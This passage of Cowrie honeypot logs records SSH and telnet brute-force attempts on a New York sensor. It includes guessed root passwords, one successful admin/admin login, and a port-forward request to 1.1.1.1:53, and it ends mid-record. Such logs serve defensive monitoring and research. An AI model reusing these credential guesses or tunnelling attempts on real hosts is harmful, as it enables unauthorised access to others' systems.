{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:08:16.089345Z","src_ip":"103.15.222.183","session":"c0b20679e811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60128,"dst_ip":"10.17.0.5","dst_port":22,"session":"f43ee1bfa157","protocol":"ssh","message":"New connection: 109.237.96.109:60128 (10.17.0.5:22) [session: f43ee1bfa157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:08:23.472173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:08:23.475753Z","src_ip":"109.237.96.109","session":"f43ee1bfa157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:08:23.566432Z","src_ip":"109.237.96.109","session":"f43ee1bfa157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"56tyghbn","message":"login attempt [root/56tyghbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:08:23.840251Z","src_ip":"109.237.96.109","session":"f43ee1bfa157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:08:24.933875Z","src_ip":"109.237.96.109","session":"f43ee1bfa157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":42030,"dst_ip":"159.203.135.109","dst_port":23,"session":"87aab2d51659","protocol":"telnet","message":"New connection: 166.62.124.255:42030 (159.203.135.109:23) [session: 87aab2d51659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:02.275288Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59492,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2595451ef96","protocol":"ssh","message":"New connection: 27.71.230.31:59492 (10.17.0.5:22) [session: c2595451ef96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:04.953746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:04.975286Z","src_ip":"27.71.230.31","session":"c2595451ef96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:05.255988Z","src_ip":"27.71.230.31","session":"c2595451ef96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin159357","message":"login attempt [root/Admin159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:07.498467Z","src_ip":"27.71.230.31","session":"c2595451ef96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:11.125733Z","src_ip":"27.71.230.31","session":"c2595451ef96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41714,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf14524b1309","protocol":"ssh","message":"New connection: 80.94.92.184:41714 (10.17.0.5:22) [session: bf14524b1309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:26.189760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:26.500407Z","src_ip":"80.94.92.184","session":"bf14524b1309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:26.504385Z","src_ip":"80.94.92.184","session":"bf14524b1309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:28.364303Z","src_ip":"80.94.92.184","session":"bf14524b1309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:30.020537Z","src_ip":"80.94.92.184","session":"bf14524b1309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.818495512008667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:33.093646Z","src_ip":"166.62.124.255","session":"87aab2d51659","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":34220,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5f1e6496623","protocol":"telnet","message":"New connection: 166.62.124.255:34220 (159.203.135.109:23) [session: c5f1e6496623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:09:57.041306Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40680,"dst_ip":"159.203.135.109","dst_port":22,"session":"61c8f6701ddd","protocol":"ssh","message":"New connection: 27.71.230.31:40680 (159.203.135.109:22) [session: 61c8f6701ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:24.876866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:24.923287Z","src_ip":"27.71.230.31","session":"61c8f6701ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.355623483657837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:28.396844Z","src_ip":"166.62.124.255","session":"c5f1e6496623","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:29.246796Z","src_ip":"27.71.230.31","session":"61c8f6701ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin159357","message":"login attempt [root/Admin159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:34.683366Z","src_ip":"27.71.230.31","session":"61c8f6701ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:35.937222Z","src_ip":"27.71.230.31","session":"61c8f6701ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48714,"dst_ip":"10.17.0.5","dst_port":22,"session":"70a68a298783","protocol":"ssh","message":"New connection: 87.251.64.176:48714 (10.17.0.5:22) [session: 70a68a298783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:44.875386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:44.879320Z","src_ip":"87.251.64.176","session":"70a68a298783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:44.973957Z","src_ip":"87.251.64.176","session":"70a68a298783","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:45.260038Z","src_ip":"87.251.64.176","session":"70a68a298783","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:45.357303Z","session":"70a68a298783","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:45.453245Z","src_ip":"87.251.64.176","session":"70a68a298783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:10:45.552867Z","src_ip":"87.251.64.176","session":"70a68a298783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59408,"dst_ip":"10.17.0.5","dst_port":22,"session":"df5477d11acb","protocol":"ssh","message":"New connection: 103.176.20.57:59408 (10.17.0.5:22) [session: df5477d11acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:12:00.766472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:12:00.771783Z","src_ip":"103.176.20.57","session":"df5477d11acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:12:01.027752Z","src_ip":"103.176.20.57","session":"df5477d11acb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paragon","message":"login attempt [root/paragon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:12:01.772534Z","src_ip":"103.176.20.57","session":"df5477d11acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:12:03.022662Z","src_ip":"103.176.20.57","session":"df5477d11acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":45928,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7ef2ce3e4f1","protocol":"ssh","message":"New connection: 194.59.206.2:45928 (10.17.0.5:22) [session: e7ef2ce3e4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:13:19.818546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:13:19.822514Z","src_ip":"194.59.206.2","session":"e7ef2ce3e4f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:13:19.908278Z","src_ip":"194.59.206.2","session":"e7ef2ce3e4f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:13:19.997152Z","src_ip":"194.59.206.2","session":"e7ef2ce3e4f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44492,"dst_ip":"10.17.0.5","dst_port":22,"session":"41b128749608","protocol":"ssh","message":"New connection: 80.94.92.184:44492 (10.17.0.5:22) [session: 41b128749608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:13:46.359532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:13:46.410933Z","src_ip":"80.94.92.184","session":"41b128749608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@